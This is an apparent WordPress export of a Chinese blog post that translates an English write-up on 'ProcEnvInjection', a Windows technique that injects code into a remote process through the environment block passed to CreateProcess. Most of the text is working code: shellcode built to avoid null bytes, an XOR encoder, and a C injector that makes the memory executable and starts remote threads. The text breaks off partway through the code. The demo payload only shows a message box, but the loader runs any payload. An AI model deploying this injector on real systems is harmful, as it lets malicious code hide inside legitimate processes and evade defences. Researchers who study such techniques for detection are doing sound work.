{"id":210,"date":"2022-06-15T11:28:38","date_gmt":"2022-06-15T03:28:38","guid":{"rendered":"http:\/\/www.aqwu.net\/wp\/?p=210"},"modified":"2022-06-15T11:47:04","modified_gmt":"2022-06-15T03:47:04","slug":"procenvinjection-%e9%80%9a%e8%bf%87%e6%bb%a5%e7%94%a8%e8%bf%9b%e7%a8%8b%e7%8e%af%e5%a2%83%e5%ad%97%e7%ac%a6%e4%b8%b2%e8%bf%9b%e8%a1%8c%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"https:\/\/www.aqwu.net\/wp\/?p=210","title":{"rendered":"ProcEnvInjection &#8211; \u901a\u8fc7\u6ee5\u7528\u8fdb\u7a0b\u73af\u5883\u5b57\u7b26\u4e32\u8fdb\u884c\u8fdc\u7a0b\u4ee3\u7801\u6ce8\u5165"},"content":{"rendered":"\n<p>\u539f\u6587\u94fe\u63a5\uff1ahttps:\/\/www.x86matthew.com\/view_post?id=proc_env_injection<\/p>\n\n\n\n<p>\u5728\u4ece\u4e2a\u4eba\u9879\u76ee\u4e2d\u4f11\u606f\u4e86\u51e0\u4e2a\u6708\u540e\uff0c\u6211\u82b1\u4e86\u4e00\u4e9b\u65f6\u95f4\u5f00\u53d1\u66ff\u4ee3\u6d41\u7a0b\u6ce8\u5165\u6280\u672f\u3002\u8fd9\u7bc7\u6587\u7ae0\u5c06\u8bb0\u5f55\u6211\u6700\u8fd1\u53d1\u73b0\u7684\u4e00\u79cd\u65b0\u65b9\u6cd5\u3002\u6b64\u65b9\u6cd5\u5141\u8bb8\u6211\u4eec\u5728\u4e0d\u4f7f\u7528WriteProcessMemory<\/p>\n\n\n\n<p>\u7684\u60c5\u51b5\u4e0b\u5c06\u81ea\u5b9a\u4e49\u4ee3\u7801\u6ce8\u5165\u8fdc\u7a0b\u8fdb\u7a0b- \u6211\u4eec\u5c06\u4f7f\u7528CreateProcess\u4e2d\u7684lpEnvironment\u53c2\u6570\u5c06\u6211\u4eec\u7684\u4ee3\u7801\u590d\u5236\u5230\u76ee\u6807\u8fdb\u7a0b\u4e2d\u3002\u6b64\u6280\u672f\u53ef\u7528\u4e8e\u5c06 DLL \u52a0\u8f7d\u5230\u8fdc\u7a0b\u8fdb\u7a0b\u4e2d\uff0c\u6216\u7b80\u5355\u5730\u6267\u884c\u4ee3\u7801\u5757\u3002\u4f46\u662f\uff0c\u4e3a\u4e86\u4f7f\u5176\u53ef\u9760\u5730\u5de5\u4f5c\uff0c\u6211\u4eec\u9700\u8981\u89e3\u51b3\u5404\u79cd\u95ee\u9898 &#8211; \u8fd9\u4e9b\u5c06\u5728\u4e0b\u9762\u63cf\u8ff0\u3002&nbsp;lpEnvironment\u53c2\u6570\u5728<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.x86matthew.com\/img\/proc_env_inj.gif\" alt=\"\"\/><\/figure>\n\n\n\n<p>CreateProcess\u5141\u8bb8\u6211\u4eec\u4e3a\u76ee\u6807\u8fdb\u7a0b\u6307\u5b9a\u4e00\u4e2a\u81ea\u5b9a\u4e49\u73af\u5883\u5b57\u7b26\u4e32\u3002\u73af\u5883\u5b57\u7b26\u4e32\u5305\u542b\u4e00\u7ec4\u73af\u5883\u53d8\u91cf\u6761\u76ee\uff0c\u4f8b\u5982PATH=C:\\Windows\\system32;C:\\Windows\u3002\u5217\u8868\u4e2d\u7684\u6bcf\u4e2a\u73af\u5883\u53d8\u91cf\u90fd\u7531\u4e00\u4e2a\u7a7a\u7ec8\u6b62\u7b26\u5206\u9694\uff0c\u5217\u8868\u4e2d\u7684\u6700\u540e\u4e00\u9879\u662f\u4e00\u4e2a\u7a7a\u767d\u5b57\u7b26\u4e32\uff08\u4e24\u4e2a\u7a7a\u7ec8\u6b62\u7b26\uff09\u3002\u521b\u5efa\u65b0\u8fdb\u7a0b\u65f6\uff0c\u73af\u5883\u5b57\u7b26\u4e32\u5c06\u88ab\u590d\u5236\u5230\u8fdb\u7a0b\u7684\u865a\u62df\u5185\u5b58\u4e2d\uff0c\u7136\u540e\u53ef\u4ee5\u901a\u8fc7 PEB \u8bbf\u95ee\u5b83\u3002<\/p>\n\n\n\n<p>\u6211\u6700\u521d\u7684\u60f3\u6cd5\u662f\u4f7f\u7528lpEnvironment\u53c2\u6570\u5c06\u4e8c\u8fdb\u5236\u4ee3\u7801\u590d\u5236\u5230\u76ee\u6807\u8fdb\u7a0b\u4e2d\u6267\u884c\u3002\u8fd9\u91cc\u6709\u51e0\u4e2a\u660e\u663e\u7684\u95ee\u9898\u2014\u2014\u7b2c\u4e00\u4e2a\u662fPEB\u4e2d\u5305\u542b\u5b57\u7b26\u4e32\u6570\u636e\u7684\u5185\u5b58\u6ca1\u6709\u6267\u884c\u6743\u9650\uff0c\u7b2c\u4e8c\u4e2a\u95ee\u9898\u662flpEnvironment\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\u5b57\u6bb5\uff0c\u8fd9\u610f\u5473\u7740\u6211\u4eec\u7684\u4e8c\u8fdb\u5236\u4ee3\u7801\u6570\u636e\u4e0d\u80fd\u5305\u542b\u7a7a\u5b57\u7b26\u3002<\/p>\n\n\n\n<p>\u7b2c\u4e00\u4e2a\u95ee\u9898\u5f88\u5bb9\u6613\u901a\u8fc7\u4ece\u6ce8\u5165\u5668\u8fdb\u7a0b\u8c03\u7528VirtualProtectEx\u6765\u89e3\u51b3\u3002\u6211\u4eec\u53ef\u4ee5\u5f88\u5bb9\u6613\u5730\u901a\u8fc7PEB\u8ba1\u7b97\u51fa\u8fdc\u7a0b\u8fdb\u7a0b\u4e2d\u73af\u5883\u5b57\u7b26\u4e32\u7684\u5730\u5740\uff0c\u5e76\u4f7f\u5185\u5b58\u53ef\u6267\u884c\u3002<\/p>\n\n\n\n<p>\u7b2c\u4e8c\u4e2a\u95ee\u9898\u66f4\u96be\u89e3\u51b3 &#8211; \u5927\u591a\u6570\u4ee3\u7801\u5757\u5c06\u5305\u542b\u7a7a (0x00) \u5b57\u7b26\u3002\u901a\u8fc7\u624b\u52a8\u7f16\u5199\u6c47\u7f16\u64cd\u4f5c\u7801\u6765\u7279\u522b\u907f\u514d 0x00 \u5b57\u8282\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u662f\u76f8\u5f53\u5bb9\u6613\u7684\uff0c\u4f46\u8fd9\u5bf9\u4e8e\u5927\u4ee3\u7801\u5757\u662f\u4e0d\u5207\u5b9e\u9645\u7684\u3002<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u95ee\u9898\u53ef\u4ee5\u901a\u8fc7\u7f16\u5199\u4e00\u4e2a\u901a\u7528\u7684\u56fa\u5b9a\u201c\u5916\u90e8\u4ee3\u7801\u52a0\u8f7d\u5668\u201d\u5b58\u6839\u6765\u89e3\u51b3\uff0c\u8be5\u5b58\u6839\u7ecf\u8fc7\u4ed4\u7ec6\u7f16\u5199\u4ee5\u907f\u514d\u4efb\u4f55 0x00 \u5b57\u7b26\u3002\u8fd9\u4e2a\u5c0f\u52a0\u8f7d\u5668\u5c06\u7528\u4e8e\u5206\u914d\u548c\u6267\u884c\u771f\u6b63\u7684\u6709\u6548\u8d1f\u8f7d\uff0c\u5b83\u73b0\u5728\u53ef\u4ee5\u5305\u542b\u4efb\u4f55\u5b57\u8282\u3002\u901a\u7528\u52a0\u8f7d\u5668\u5c06\u4f7f\u7528PAGE_EXECUTE_READWRITE\u4fdd\u62a4\u5206\u914d\u5fc5\u8981\u7684\u5b57\u8282\u6570\uff0c\u8c03\u7528OpenProcess\u4ee5\u6253\u5f00\u6ce8\u5165\u5668\u8fdb\u7a0b\uff0c\u5e76\u4f7f\u7528ReadProcessMemory\u5c06\u6709\u6548\u8d1f\u8f7d\u4ece\u7236\u8fdb\u7a0b\u8bfb\u53d6\u5230\u65b0\u5206\u914d\u7684\u7f13\u51b2\u533a\u4e2d\u3002\u7136\u540e\u5c06\u6267\u884c\u771f\u6b63\u7684\u6709\u6548\u8f7d\u8377\uff0c\u5e76\u5728\u6267\u884c\u5b8c\u6210\u540e\u91ca\u653e\u4e34\u65f6\u5185\u5b58\u3002\u8fd9\u610f\u5473\u7740\u4ecd\u7136\u4e0d\u9700\u8981WriteProcessMemory\u6765\u4f20\u8f93\u6570\u636e &#8211; \u76ee\u6807\u8fdb\u7a0b\u4f7f\u7528ReadProcessMemory\u4ece\u7236\u8fdb\u7a0b\u8bfb\u53d6\u6570\u636e\u3002<\/p>\n\n\n\n<p>\u603b\u4e4b\uff0c\u6ce8\u5165\u5668\u8fc7\u7a0b\u91c7\u53d6\u4ee5\u4e0b\u6b65\u9aa4\uff1a<\/p>\n\n\n\n<p>1. \u521b\u5efa\u4e00\u4e2a\u4e0d\u5305\u542b\u4efb\u4f55 0x00 \u5b57\u7b26\u7684\u901a\u7528\u201c\u4ee3\u7801\u52a0\u8f7d\u5668\u201d\u5757 &#8211; \u5982\u679c\u9700\u8981\uff0c\u503c\u5c06\u4f7f\u7528 XOR \u8fdb\u884c\u7f16\u7801\u3002<br>2.\u4f7f\u7528GetEnvironmentStringsW\u68c0\u7d22\u73b0\u6709\u7684\u73af\u5883\u5b57\u7b26\u4e32\u5e76\u5c06\u5176\u590d\u5236\u5230\u4e34\u65f6\u7f13\u51b2\u533a\u3002\u6211\u4eec\u7684\u201c\u901a\u7528\u4ee3\u7801\u52a0\u8f7d\u5668\u201d\u6761\u76ee\u5c06\u9644\u52a0\u5230\u73b0\u6709\u6761\u76ee\u7684\u672b\u5c3e\u3002\u67d0\u4e9b\u7a0b\u5e8f\u4f1a\u4f7f\u7528\u73af\u5883\u53d8\u91cf\uff0c\u56e0\u6b64\u8986\u76d6\u73b0\u6709\u6761\u76ee\u4e0d\u662f\u200b\u200b\u4e00\u4e2a\u597d\u4e3b\u610f\u3002<br>3. \u4f7f\u7528CreateProcess\u548c\u6211\u4eec\u7684\u81ea\u5b9a\u4e49\u73af\u5883\u5b57\u7b26\u4e32 (&nbsp;lpEnvironment&nbsp;) \u521b\u5efa\u76ee\u6807 EXE \u8fdb\u7a0b\u7684\u6302\u8d77\u5b9e\u4f8b\u3002\u6211\u4eec\u8fd8\u5c06\u4f7f\u7528CREATE_UNICODE_ENVIRONMENT\u6807\u5fd7\u6765\u6307\u5b9a\u5bbd\u5b57\u7b26\u73af\u5883\u503c\uff0c\u5426\u5219\u5b57\u7b26\u4e32\u5c06\u4ece ANSI \u8f6c\u6362\u4e3a\u5bbd\u5b57\u7b26\uff0c\u8fd9\u5c06\u7834\u574f\u6211\u4eec\u7684\u52a0\u8f7d\u7a0b\u5e8f\u4ee3\u7801\u3002<br>4. \u4f7f\u7528NtQueryInformationProcess\u68c0\u7d22\u76ee\u6807\u8fdb\u7a0b\u7684 PEB \u5730\u5740\u3002<br>5. \u6253\u7535\u8bddNtCreateThreadEx\u5728\u76ee\u6807\u8fdb\u7a0b\u4e2d\u8c03\u7528Sleep(0)\u5e76\u7b49\u5f85\u7ebf\u7a0b\u9000\u51fa\u3002\u8fd9\u5c06\u5f3a\u5236\u5fc5\u8981\u7684 PEB \u5b57\u6bb5\u5728\u76ee\u6807\u8fdb\u7a0b\u4e2d\u88ab\u521d\u59cb\u5316\u3002<br>6. \u8ba1\u7b97\u76ee\u6807\u8fdb\u7a0b\u4e2d\u73af\u5883\u5b57\u7b26\u4e32\u7684\u5730\u5740\uff08PEB-&gt;RtlUserProcessParameters-&gt;Environment\uff09<br>7. \u5728\u73af\u5883\u5b57\u7b26\u4e32\u4e2d\u5b9a\u4f4d\u6211\u4eec\u7684\u52a0\u8f7d\u5668\u4ee3\u7801\u7684\u5730\u5740\u3002\u8c03\u7528VirtualProtectEx\u4f7f\u8be5\u6570\u636e\u53ef\u6267\u884c\u3002<br>8. \u8c03\u7528NtCreateThreadEx\u5728\u76ee\u6807\u8fdb\u7a0b\u5185\u6267\u884c\u52a0\u8f7d\u5668\u4ee3\u7801\u3002\u6b64\u4ee3\u7801\u5c06\u4ece\u6ce8\u5165\u5668\u8fdb\u7a0b\u4e2d\u8bfb\u53d6\u6700\u7ec8\u7684\u6709\u6548\u8f7d\u8377\u5e76\u6267\u884c\u5b83\u3002<br>9\u3001payload\u6267\u884c\u5b8c\u6bd5\u540e\u6062\u590d\u539f\u6765\u7684\u5185\u5b58\u4fdd\u62a4\u3002<br>10\u3001\u8c03\u7528ResumeThread\u7ee7\u7eed\u6b63\u5e38\u6267\u884c\u76ee\u6807\u8fdb\u7a0b\u3002<\/p>\n\n\n\n<p>\u6700\u7ec8\u7684\u6709\u6548\u8f7d\u8377\u53ef\u4ee5\u662f\u4efb\u610f\u5927\u5c0f\u5e76\u5305\u542b\u4efb\u610f\u5b57\u8282\u3002\u5bf9\u4e8e\u6b64\u793a\u4f8b\uff0c\u6211\u7f16\u5199\u4e86\u4ee5\u4e0b\u4ee3\u7801\u6765\u4f7f\u7528LoadLibrary\u52a0\u8f7duser32.dll\uff0c\u7136\u540e\u8c03\u7528MessageBoxA\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BYTE bPayload&#91;] =\n{\n\t\/\/ string: &lt;user32.dll>\n\t\/\/ push 0x00006C6C\n\t0x68, 0x6C, 0x6C, 0x00, 0x00,\n\t\/\/ push 0x642E3233\n\t0x68, 0x33, 0x32, 0x2E, 0x64,\n\t\/\/ push 0x72657375\n\t0x68, 0x75, 0x73, 0x65, 0x72,\n\t\/\/ mov ecx, esp\n\t0x8B, 0xCC,\n\t\/\/ push ecx (ModuleName)\n\t0x51,\n\t\/\/ mov eax, LoadLibraryA\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ call eax\n\t0xFF, 0xD0,\n\n\t \/\/ string: &lt;Code injected successfully!>\n\t\/\/ push 0x0021796C\n\t0x68, 0x6C, 0x79, 0x21, 0x00,\n\t\/\/ push 0x6C756673\n\t0x68, 0x73, 0x66, 0x75, 0x6C,\n\t\/\/ push 0x73656363\n\t0x68, 0x63, 0x63, 0x65, 0x73,\n\t\/\/ push 0x75732064\n\t0x68, 0x64, 0x20, 0x73, 0x75,\n\t\/\/ push 0x65746365\n\t0x68, 0x65, 0x63, 0x74, 0x65,\n\t\/\/ push 0x6A6E6920\n\t0x68, 0x20, 0x69, 0x6E, 0x6A,\n\t\/\/ push 0x65646F43\n\t0x68, 0x43, 0x6F, 0x64, 0x65,\n\t\/\/ mov ecx, esp\n\t0x8B, 0xCC,\n\t\/\/ string: &lt;www.x86matthew.com>\n\t\/\/ push 0x00006D6F\n\t0x68, 0x6F, 0x6D, 0x00, 0x00,\n\t\/\/ push 0x632E7765\n\t0x68, 0x65, 0x77, 0x2E, 0x63,\n\t\/\/ push 0x68747461\n\t0x68, 0x61, 0x74, 0x74, 0x68,\n\t\/\/ push 0x6D363878\n\t0x68, 0x78, 0x38, 0x36, 0x6D,\n\t\/\/ push 0x2E777777\n\t0x68, 0x77, 0x77, 0x77, 0x2E,\n\t\/\/ mov ebx, esp\n\t0x8B, 0xDC,\n\t\/\/ push MB_OK\n\t0x6A, 0x00,\n\t\/\/ push ebx (Caption)\n\t0x53,\n\t\/\/ push ecx (Text)\n\t0x51,\n\t\/\/ push hWnd\n\t0x6A, 0x00,\n\t\/\/ mov eax, MessageBoxA\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ call eax\n\t0xFF, 0xD0,\n\n\t\/\/ add esp, 0x3C\n\t0x83, 0xC4, 0x3C,\n\n\t\/\/ ret\n\t0xC3\n};<\/code><\/pre>\n\n\n\n<p>\u5b8c\u6574\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;stdio.h>\n#include &lt;windows.h>\n\n#define LOADER_CODE_OFFSET 8\n\nstruct PROCESS_BASIC_INFORMATION\n{\n\tDWORD ExitStatus;\n\tBYTE *PebBaseAddress;\n\tDWORD *AffinityMask;\n\tDWORD BasePriority;\n\tDWORD *UniqueProcessId;\n\tDWORD *InheritedFromUniqueProcessId;\n};\n\n#define ProcessBasicInformation 0\n\nDWORD (WINAPI *NtQueryInformationProcess)(HANDLE hProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, DWORD ProcessInformationLength, DWORD *ReturnLength);\nDWORD (WINAPI *NtCreateThreadEx)(HANDLE *phThreadHandle, DWORD DesiredAccess, PVOID ObjectAttributes, HANDLE hProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, DWORD *pZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);\n\nBYTE bGlobal_LoaderCode&#91;] =\n{\n\t\/\/ prefix\n\t'A', 0x00, 'A', 0x00, 'A', 0x00, '=', 0x00,\n\n\t\/\/ push edi\n\t0x57,\n\t\/\/ push esi\n\t0x56,\n\n\t\/\/ push 0x40 (PAGE_EXECUTE_READWRITE)\n\t0x6A, 0x40,\n\t\/\/ mov eax, 0xXXXXXXXX\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ xor eax, 0xXXXXXXXX\n\t0x35, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ push eax (MEM_COMMIT | MEM_RESERVE)\n\t0x50,\n\t\/\/ mov eax, 0xXXXXXXXX\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ xor eax, 0xXXXXXXXX\n\t0x35, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ push eax (Size)\n\t0x50,\n\t\/\/ xor eax, eax\n\t0x33, 0xC0,\n\t\/\/ push eax (BaseAddr)\n\t0x50,\n\t\/\/ mov eax, 0xXXXXXXXX\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ xor eax, 0xXXXXXXXX\n\t0x35, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ call eax (VirtualAlloc)\n\t0xFF, 0xD0,\n\n\t\/\/ mov edi, eax (DataAddr)\n\t0x8B, 0xF8,\n\n\t\/\/ mov eax, 0xXXXXXXXX\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ xor eax, 0xXXXXXXXX\n\t0x35, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ push eax (ProcessID)\n\t0x50,\n\t\/\/ xor eax, eax\n\t0x33, 0xC0,\n\t\/\/ push eax (bInheritHandle)\n\t0x50,\n\t\/\/ push 0x10 (PROCESS_VM_READ)\n\t0x6A, 0x10,\n\t\/\/ mov eax, 0xXXXXXXXX\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ xor eax, 0xXXXXXXXX\n\t0x35, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ call eax (OpenProcess)\n\t0xFF, 0xD0,\n\n\t\/\/ mov esi, eax (ProcessHandle)\n\t0x8B, 0xF0,\n\n\t\/\/ xor eax, eax\n\t0x33, 0xC0,\n\t\/\/ push eax (NumberOfBytesRead)\n\t0x50,\n\t\/\/ mov eax, 0xXXXXXXXX\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ xor eax, 0xXXXXXXXX\n\t0x35, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ push eax (BytesToRead)\n\t0x50,\n\t\/\/ push edi (ReadBuffer)\n\t0x57,\n\t\/\/ mov eax, 0xXXXXXXXX\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ xor eax, 0xXXXXXXXX\n\t0x35, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ push eax (BaseAddr)\n\t0x50,\n\t\/\/ push esi (ProcessHandle)\n\t0x56,\n\t\/\/ mov eax, 0xXXXXXXXX\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ xor eax, 0xXXXXXXXX\n\t0x35, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ call eax (ReadProcessMemory)\n\t0xFF, 0xD0,\n\n\t\/\/ push esi (ProcessHandle)\n\t0x56,\n\t\/\/ mov eax, 0xXXXXXXXX\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ xor eax, 0xXXXXXXXX\n\t0x35, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ call eax (CloseHandle)\n\t0xFF, 0xD0,\n\n\t\/\/ pushad\n\t0x60,\n\t\/\/ call edi (DataAddr)\n\t0xFF, 0xD7,\n\t\/\/ popad\n\t0x61,\n\n\t\/\/ mov eax, 0xXXXXXXXX\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ xor eax, 0xXXXXXXXX\n\t0x35, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ push eax (MEM_RELEASE)\n\t0x50,\n\t\/\/ xor eax, eax\n\t0x33, 0xC0,\n\t\/\/ push eax (Size)\n\t0x50,\n\t\/\/ push edi (DataAddr)\n\t0x57,\n\t\/\/ mov eax, 0xXXXXXXXX\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ xor eax, 0xXXXXXXXX\n\t0x35, 0x44, 0x33, 0x22, 0x11,\n\t\/\/ call eax (VirtualFree)\n\t0xFF, 0xD0,\n\n\t\/\/ pop esi\n\t0x5E,\n\t\/\/ pop edi\n\t0x5F,\n\n\t\/\/ return from thread cleanly - can't use \"retn 4\"\n\t\/\/ pop eax\n\t0x58,\n\t\/\/ pop ecx\n\t0x59,\n\t\/\/ push eax\n\t0x50,\n\t\/\/ ret\n\t0xC3,\n\n\t\/\/ (end of string - 2 widechar null characters)\n\t0x00, 0x00, 0x00, 0x00\n};\n\nDWORD EncodeDwordValue(DWORD dwValue, DWORD *pdwXorValue, DWORD *pdwEncodedValue)\n{\n\tBYTE bOrigValue&#91;4];\n\tBYTE bXorValue&#91;4];\n\tBYTE bEncodedValue&#91;4];\n\n\t\/\/ copy original value\n\tmemcpy((void*)bOrigValue, (void*)&amp;dwValue, sizeof(DWORD));\n\n\t\/\/ encode value\n\tfor(DWORD i = 0; i &lt; sizeof(DWORD); i++)\n\t{\n\t\tbXorValue&#91;i] = 0x01;\n\t\tfor(;;)\n\t\t{\n\t\t\t\/\/ ensure the value contains no 0x00 bytes\n\t\t\tbEncodedValue&#91;i] = bOrigValue&#91;i] ^ bXorValue&#91;i];\n\t\t\tif(bEncodedValue&#91;i] == 0 || bXorValue&#91;i] == 0)\n\t\t\t{\n\t\t\t\tbXorValue&#91;i]++;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t\/\/ store values\n\t*pdwXorValue = *(DWORD*)bXorValue;\n\t*pdwEncodedValue = *(DWORD*)bEncodedValue;\n\n\treturn 0;\n}\n\nDWORD StartInjectedProcess(char *pExePath, BYTE *pPayload, DWORD dwPayloadSize)\n{\n\tSTARTUPINFO StartupInfo;\n\tPROCESS_INFORMATION ProcessInfo;\n\tBYTE bLoaderCode_Copy&#91;sizeof(bGlobal_LoaderCode)];\n\tPROCESS_BASIC_INFORMATION ProcessBasicInfoData;\n\tBYTE *pRemotePtr_RtlUserProcessParameters = NULL;\n\tBYTE *pRemotePtr_EnvironmentStr = NULL;\n\tDWORD dwOriginalProtect = 0;\n\tHANDLE hThread = NULL;\n\tDWORD dwTempProtect = 0;\n\twchar_t *pOrigEnvBlock = NULL;\n\tDWORD dwOrigEnvBlockTotalLengthBytes = 0;\n\tDWORD dwCurrEnvEntryLength = 0;\n\twchar_t *pCurrEnvEntry = NULL;\n\tBYTE *pNewEnvBlock = NULL;\n\n\t\/\/ ensure the loader code is 16-bit aligned\n\tif((sizeof(bGlobal_LoaderCode) % 2) != 0)\n\t{\n\t\tprintf(\"Error: Loader code is out of alignment\\n\");\n\t\t\/\/ loader code is out of alignment - add an extra 0x00 character to the end of the data\n\t\treturn 1;\n\t}\n\n\tprintf(\"Generating loader code...\\n\");\n\n\t\/\/ encode values in the loader code to ensure no 0x00 characters exist\n\tEncodeDwordValue(MEM_COMMIT | MEM_RESERVE, (DWORD*)&amp;bGlobal_LoaderCode&#91;13], (DWORD*)&amp;bGlobal_LoaderCode&#91;18]);\n\tEncodeDwordValue(dwPayloadSize, (DWORD*)&amp;bGlobal_LoaderCode&#91;24], (DWORD*)&amp;bGlobal_LoaderCode&#91;29]);\n\tEncodeDwordValue((DWORD)VirtualAlloc, (DWORD*)&amp;bGlobal_LoaderCode&#91;38], (DWORD*)&amp;bGlobal_LoaderCode&#91;43]);\n\tEncodeDwordValue(GetCurrentProcessId(), (DWORD*)&amp;bGlobal_LoaderCode&#91;52], (DWORD*)&amp;bGlobal_LoaderCode&#91;57]);\n\tEncodeDwordValue((DWORD)OpenProcess, (DWORD*)&amp;bGlobal_LoaderCode&#91;68], (DWORD*)&amp;bGlobal_LoaderCode&#91;73]);\n\tEncodeDwordValue(dwPayloadSize, (DWORD*)&amp;bGlobal_LoaderCode&#91;85], (DWORD*)&amp;bGlobal_LoaderCode&#91;90]);\n\tEncodeDwordValue((DWORD)pPayload, (DWORD*)&amp;bGlobal_LoaderCode&#91;97], (DWORD*)&amp;bGlobal_LoaderCode&#91;102]);\n\tEncodeDwordValue((DWORD)ReadProcessMemory, (DWORD*)&amp;bGlobal_LoaderCode&#91;109], (DWORD*)&amp;bGlobal_LoaderCode&#91;114]);\n\tEncodeDwordValue((DWORD)CloseHandle, (DWORD*)&amp;bGlobal_LoaderCode&#91;122], (DWORD*)&amp;bGlobal_LoaderCode&#91;127]);\n\tEncodeDwordValue(MEM_RELEASE, (DWORD*)&amp;bGlobal_LoaderCode&#91;138], (DWORD*)&amp;bGlobal_LoaderCode&#91;143]);\n\tEncodeDwordValue((DWORD)VirtualFree, (DWORD*)&amp;bGlobal_LoaderCode&#91;153], (DWORD*)&amp;bGlobal_LoaderCode&#91;158]);\n\n\tprintf(\"Appending code to existing environment string...\\n\");\n\n\t\/\/ get existing environment block\n\tpOrigEnvBlock = GetEnvironmentStringsW();\n\tif(pOrigEnvBlock == NULL)\n\t{\n\t\tprintf(\"Error: Failed to read environment strings\\n\");\n\t\treturn 1;\n\t}\n\n\t\/\/ calculate length of existing environment block\n\tfor(;;)\n\t{\n\t\t\/\/ get current environment string entry\n\t\tpCurrEnvEntry = (wchar_t*)((BYTE*)pOrigEnvBlock + dwOrigEnvBlockTotalLengthBytes);\n\n\t\t\/\/ calculate length\n\t\tdwCurrEnvEntryLength = wcslen(pCurrEnvEntry);\n\t\tif(dwCurrEnvEntryLength == 0)\n\t\t{\n\t\t\tbreak;\n\t\t}\n\n\t\t\/\/ increase total size counter\n\t\tdwOrigEnvBlockTotalLengthBytes += ((dwCurrEnvEntryLength + 1) * sizeof(wchar_t));\n\t}\n\n\t\/\/ allocate a new environment string buffer\n\tpNewEnvBlock = (BYTE*)VirtualAlloc(NULL, dwOrigEnvBlockTotalLengthBytes + sizeof(bGlobal_LoaderCode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n\tif(pNewEnvBlock == NULL)\n\t{\n\t\tprintf(\"Error: Failed to allocate local memory\\n\");\n\n\t\t\/\/ error\n\t\tFreeEnvironmentStringsW(pOrigEnvBlock);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ copy the original values and append the loader code\n\tmemcpy((void*)pNewEnvBlock, pOrigEnvBlock, dwOrigEnvBlockTotalLengthBytes);\n\tmemcpy((void*)(pNewEnvBlock + dwOrigEnvBlockTotalLengthBytes), bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode));\n\n\t\/\/ free temporary environment string buffer\n\tFreeEnvironmentStringsW(pOrigEnvBlock);\n\n\tprintf(\"Creating target process: '%s'...\\n\", pExePath);\n\n\t\/\/ launch target process with the injection code in the environment strings\t\n\tmemset(&amp;StartupInfo, 0, sizeof(StartupInfo));\n\tStartupInfo.cb = sizeof(StartupInfo);\n\tif(CreateProcess(NULL, pExePath, NULL, NULL, 0, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT | CREATE_SUSPENDED, (wchar_t*)pNewEnvBlock, NULL, &amp;StartupInfo, &amp;ProcessInfo) == 0)\n\t{\n\t\tprintf(\"Error: Failed to launch target process\\n\");\n\n\t\t\/\/ error\n\t\tVirtualFree(pNewEnvBlock, 0, MEM_RELEASE);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ free environment block buffer\n\tVirtualFree(pNewEnvBlock, 0, MEM_RELEASE);\n\n\tprintf(\"Locating target code in remote process...\\n\");\n\n\t\/\/ get process info\n\tmemset((void*)&amp;ProcessBasicInfoData, 0, sizeof(ProcessBasicInfoData));\n\tif(NtQueryInformationProcess(ProcessInfo.hProcess, ProcessBasicInformation, &amp;ProcessBasicInfoData, sizeof(ProcessBasicInfoData), NULL) != 0)\n\t{\n\t\tprintf(\"Error: Failed to retrieve process info\\n\");\n\n\t\t\/\/ error\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\n\t\tCloseHandle(ProcessInfo.hThread);\n\t\tCloseHandle(ProcessInfo.hProcess);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ create a thread that calls Sleep(0) to initialise the environment strings in the PEB\n\tif(NtCreateThreadEx(&amp;hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, Sleep, (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)\n\t{\n\t\tprintf(\"Error: Failed to create Sleep thread in remote process\\n\");\n\n\t\t\/\/ error\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\n\t\tCloseHandle(ProcessInfo.hThread);\n\t\tCloseHandle(ProcessInfo.hProcess);\n\n\t\treturn 1;\n\t}\n\tWaitForSingleObject(hThread, INFINITE);\n\tCloseHandle(hThread);\n\n\t\/\/ read RtlUserProcessParameters ptr from PEB\n\tif(ReadProcessMemory(ProcessInfo.hProcess, 